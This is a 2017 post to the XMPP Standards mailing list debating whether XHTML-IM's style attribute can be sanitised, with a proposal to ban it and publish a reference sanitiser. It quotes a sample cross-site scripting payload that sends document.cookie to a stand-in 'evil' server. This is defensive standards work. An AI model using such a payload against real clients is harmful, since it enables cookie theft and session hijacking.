On Donnerstag, 12. Oktober 2017 13:42:42 CEST Goffi wrote: > Le jeudi 12 octobre 2017, 13:13:17 CEST Dave Cridland a écrit : > > So can something like the following work: > > > > <p style='background-image: url(&dquot;javascript:new > > Image().src='http://my.evil.server/?cookie=' + > > encodeURI(document.cookie);&dquot;);'>Hello</p> > > no: styles are white listed and background-image is not accepted + values > are parsed and url is not accepted either. > > > A solid CSP will block this for newer browsers, of course, and > > background-image is a SHOULD NOT in XEP-0071 as well. But I'd be > > surprised if many implementations are filtering CSS at the property > > level. > > We do in SàT, and I hope we are not the only one. But again it's an > implementation issue, not spec.
Note that filtering the style attribute is considerably more work. XMPP clients already have an XML parser and the tools to work with the XHTML-IM tree, but they rarely have the tools to parse @style directly (sure, hand it over (unsanitised) to some *other* implementation, yes, but parsing and sanitising it themselves, rather rarely I think). So I side with Dave here that @style is very likely to be unfiltered. In this light, I’d suggest to ban @style from XHTML-IM. It does more harm than good: 1. It is hard to sanitise. 2. Everything which can be set there is unlikely to be portable across devices/GUIs: font sizes, colors and font types are rarely useful to send over the wire. They also lack any semantic meaning. Everything else in XHTML-IM can (and should) reasonably be sanitised. I’m still in favour of keeping XHTML-IM ... > On the other hand it's a handy syntax to write (we implement it), and it's > easily rendered to (X)HTML, so people can use it in clients without problem, > I totally see the reason to use it for end-user, just not as a publishing > way. ... for exactly the above reason. It is a portable format to convey the semantics which are expressed in writing in markdown today. This is very valuable. And especially if we are still going to have non-IM use-cases within XMPP where XHTML(-IM) will be used, there still will be need for sanitisation. Which brings me back to my original suggestion to have someone develop a reference sanitisation implementation in JavaScript, get it audited if possible and publish it alongside the XHTML-IM XEP. The XHTML-IM spec needs some work, yes (because it is hard to get right), but I think we should not set on obsoleting it right away but instead look what we can do to make it safer to implement and more secure to use. kind regards, Jonas
signature.asc
Description: This is a digitally signed message part.
_______________________________________________ Standards mailing list Info: https://mail.jabber.org/mailman/listinfo/standards Unsubscribe: standards-unsubscr...@xmpp.org _______________________________________________
